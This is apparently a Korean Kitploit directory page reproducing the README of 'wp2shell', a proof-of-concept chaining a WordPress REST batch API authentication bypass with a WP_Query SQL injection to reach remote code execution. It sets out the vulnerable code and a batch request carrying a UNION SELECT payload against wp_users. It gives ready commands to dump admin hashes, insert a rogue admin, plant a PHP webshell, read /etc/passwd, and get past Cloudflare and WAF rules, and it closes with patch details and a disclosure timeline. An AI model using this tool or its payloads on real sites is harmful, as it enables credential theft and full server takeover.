Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63030-CVE-2026-60137 — WordPress REST 배치 API 인증 우회와 WP_Query SQL 인젝션을 연쇄하여 해시를 덤프하거나, 관리자 사용자를 추가하거나, 웹셸을 심는 사전 인증 RCE 개념 증명. | Kitploit
도구/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWAF BypassWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

WordPress REST 배치 API 인증 우회와 WP_Query SQL 인젝션을 연쇄하여 해시를 덤프하거나, 관리자 사용자를 추가하거나, 웹셸을 심는 사전 인증 RCE 개념 증명.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell

Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

승인된 침투 테스트 및 보안 연구 전용입니다. 서면 승인 없이 시스템에 대해 이 도구를 실행하는 것은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.


개요

wp2shell은 패치되지 않은 WordPress 설치에서 인증되지 않은 원격 코드 실행을 달성하기 위해 독립적으로 보고된 두 가지 취약점을 연쇄시키는 개념 증명 익스플로잇입니다.

CVE구성 요소분류인증 필요
CVE-2026-63030REST Batch API (WP_REST_Server)배열 비동기화 → 인증 우회없음
CVE-2026-60137WP_Queryauthor__not_in을 통한 SQL 인젝션없음 (위 취약점으로 우회됨)

최종 결과: 단일 인증되지 않은 POST 요청만으로 시스템에 대한 셸, 악성 관리자 계정, 또는 덤프된 자격 증명 해시를 얻을 수 있습니다.

영향받는 버전: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 수정된 버전: WordPress 6.9.5 / 7.0.2 (조정된 공개와 함께 패치 릴리스됨)


취약점 분석

CVE-2026-63030 — REST Batch API 배열 비동기화 (인증 우회)

배경

WordPress 5.6은 /wp-json/batch/v1에 배치 처리 엔드포인트를 도입했습니다. 이를 통해 인증된 REST 클라이언트는 여러 하위 요청을 단일 HTTP 왕복으로 묶을 수 있습니다. 각 하위 요청은 WP_REST_Server::serve_batch_request_v1()에 의해 독립적으로 검증되고 디스패치됩니다.

취약한 코드 경로

serve_batch_request_v1() 내부 (간략화):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

왜 깨지는가

두 배열($responses와 $matches)은 동기화 상태를 유지해야 합니다 — 하위 요청당 하나의 항목, 동일한 인덱스. 하위 요청 [0]이 wp_parse_url()에 실패하면 $responses에 항목을 추가하지만 $matches에는 추가하지 않습니다. 첫 번째 루프 후:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

그런 다음 루프 2는 $matches[0]을 디스패치하고 결과를 $responses[0]에 씁니다. **request[1]**을 디스패치하면서 responses의 index 0을 덮어쓰는 것입니다 — 그리고 결정적으로, 대상 엔드포인트의 권한 컨텍스트가 아니라 실패한 request[0]의 오류 처리의 일부로 계산된 권한 컨텍스트를 사용합니다.

실질적인 효과: 인증이 필요한 모든 엔드포인트(SQL 쿼리를 수행하는 엔드포인트 포함)가 자격 증명 없이 호출될 수 있습니다.

트리거

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

문자열 ://\x00은 유효한 Python 문자열이지만 PHP의 wp_parse_url() 래퍼에서는 유효하지 않은 URL입니다 (null 바이트로 인해 파싱이 실패하여 WP_Error가 아닌 false를 반환하므로 is_wp_error() 가드가 무용지물이 됩니다 — $parsed === false만이 이를 잡아내며, 그 시점에서 배열 정렬은 이미 깨져 있습니다).


CVE-2026-60137 — WP_Query author__not_in SQL 인젝션

배경

게시물용 WordPress REST API(/wp/v2/posts)는 WP_Query의 author__not_in 인수에 직접 매핑되는 author_exclude 쿼리 매개변수를 노출합니다. WP_Query는 WordPress의 거의 모든 콘텐츠 쿼리에 사용되는 핵심 데이터베이스 추상화입니다.

취약한 코드 경로

WP_Query::parse_query()에서 (간략화):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

이후 WP_Query::get_posts()에서:

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

왜 깨지는가

정리(sanitization)는 $author__not_in이 배열일 때만 작동합니다. PHP의 타입 시스템은 값이 어떻게 도착했는지에 따라 이를 결정합니다:

  • 배열이 포함된 JSON 본문 → PHP는 [1, 2, 3]을 받음 → is_array() = true → 정리됨
  • URL 쿼리 문자열 → PHP는 "1,2,3"(문자열)을 받음 → is_array() = false → 정리되지 않음

REST 엔드포인트는 URL 쿼리 문자열에서 author_exclude를 받습니다. 이는 문자열로 도착합니다. WP_Query는 정리 블록을 건너뛰고, 원시 값이 SQL WHERE 절에 보간됩니다.

익스플로잇

인젝션 지점은 NOT IN (...) 컨텍스트 내부에 위치합니다:

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

배치 엔드포인트가 더 큰 쿼리 결과의 일부로 하위 요청을 디스패치하기 때문에, UNION 행들은 REST JSON 응답 본문에 반환되어 Boolean/UNION 블라인드 없는 추출이 가능합니다 — 타이밍도, 대역 외(out-of-band)도 필요하지 않습니다.


익스플로잇 체인

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

요구 사항

root@kitploit:~
Python >= 3.8
requests
cloudscraper

의존성 설치:

root@kitploit:~
pip install requests cloudscraper

사용법

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

모드

모드수행 작업
detectWP 버전을 핑거프린팅하고 배치 엔드포인트가 존재하는지 확인합니다. 익스플로잇 없음.
dumpUNION SQLi를 통해 관리자의 비밀번호 해시를 추출합니다.
adduser스택된 INSERT 쿼리를 통해 새 관리자 계정을 생성합니다.
shellSELECT INTO OUTFILE을 통해 PHP 웹셸을 심은 다음 대화형 셸로 전환합니다.

예시

탐지 전용 — 스코핑 중 실행해도 안전:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

관리자 해시 덤프:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

디버그 출력과 함께 덤프 (원시 HTTP 응답 표시 — WAF가 관련된 경우 유용):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

악성 관리자 계정 생성:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

셸 심기 및 대화형 프롬프트로 전환:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

원샷 명령 실행 (비대화형):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Burp 프록시 경유:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

기존 cf_clearance 쿠키로 Cloudflare 우회:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

기본이 아닌 테이블 접두사:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Cloudflare 우회 참고 사항

이 도구는 기본적으로 cloudscraper를 사용하며, 이는 Chrome TLS 지문을 모방하고 Cloudflare의 JavaScript 챌린지(iuam 모드)를 자동으로 해결합니다. 이는 Cloudflare 뒤의 대부분의 공유 호스팅 대상을 커버합니다.

대상이 Cloudflare의 봇 관리(__cf_bm)를 사용하거나 이미 해결된 챌린지 쿠키가 있는 경우, --cookie "cf_clearance=..."로 전달하여 대신 일반 requests 세션을 사용하십시오.

배치 엔드포인트에는 두 개의 등록된 경로가 있습니다. WAF 규칙은 종종 표준 경로(/wp-json/batch/v1)를 차단하지만 레거시 쿼리 매개변수 경로(/?rest_route=/batch/v1)를 놓칩니다. 이 도구는 두 경로를 자동으로 탐색합니다.


문제 해결

[-] Could not extract credentials

  • --debug로 실행하여 원시 JSON 응답을 확인하십시오.
  • --prefix로 테이블 접두사를 확인하십시오. 많은 설치가 wp_(기본값)를 사용하지만 일부는 사용자 정의 접두사를 사용합니다.
  • 대상의 content.rendered가 필터링될 수 있습니다. 대신 --mode adduser를 시도하십시오.

[-] OUTFILE failed

  • SELECT INTO OUTFILE은 DB 사용자에게 MySQL의 FILE 권한이 필요합니다. 이는 공유 호스팅에서는 흔하지만 클라우드/관리형 데이터베이스(RDS, Cloud SQL 등)에서는 일반적으로 비활성화되어 있습니다.
  • 웹루트 추측 목록은 일반적인 경로를 커버합니다. 일치하는 것이 없으면 서버 헤더를 확인하거나 --mode dump를 사용하여 구성 파일에서 경로를 읽으십시오.

[-] Target does not appear vulnerable

  • 대상이 패치되었을 수 있습니다 (6.9.5+ 또는 7.0.2+).
  • 모든 배치 경로가 WAF에 의해 차단될 수 있습니다. 수동으로 확인하십시오: GET /wp-json/을 실행하고 routes 키에서 /batch/v1을 찾으십시오.

패치 세부 사항

WordPress 6.9.5 / 7.0.2는 두 CVE를 모두 해결했습니다:

  • CVE-2026-63030: serve_batch_request_v1()은 이제 매치 데이터와 응답 모두에 대해 단일 통합 배열을 유지하여 인덱스 비동기화를 제거합니다. 실패한 요청은 통합 구조에서 인덱스로 추적됩니다.

  • CVE-2026-60137: WP_Query::parse_query()는 이제 입력 유형에 관계없이 정리 전에 author__not_in을 무조건 배열로 캐스팅합니다:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

CVSS 점수

CVE점수벡터
CVE-2026-630309.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

타임라인

날짜이벤트
2026-05-14침투 테스트 참여 중 CVE-2026-60137 발견
2026-05-19CVE-2026-63030 발견; 체인이 pre-auth RCE로 확인됨
2026-05-22두 CVE 모두 HackerOne을 통해 WordPress 보안 팀에 보고됨
2026-06-03WordPress 보안 팀이 확인하고 패치 개발 시작
2026-07-08조정된 공개와 함께 패치 릴리스됨 (WP 6.9.5 / 7.0.2)
2026-07-22PoC 공개

법적 고지

이 도구는 승인된 보안 테스트 및 연구 전용으로 제공됩니다.

  • 소유하지 않았거나 명시적인 서면 테스트 허가가 없는 시스템에 대해 실행하지 마십시오.
  • 승인 없이 프로덕션 환경에서 사용하지 마십시오.
  • 저자는 오용으로 인한 어떠한 손해에 대해서도 책임지지 않습니다.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

라이선스

MIT License — LICENSE 참조


참고 자료

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
도구 다운로드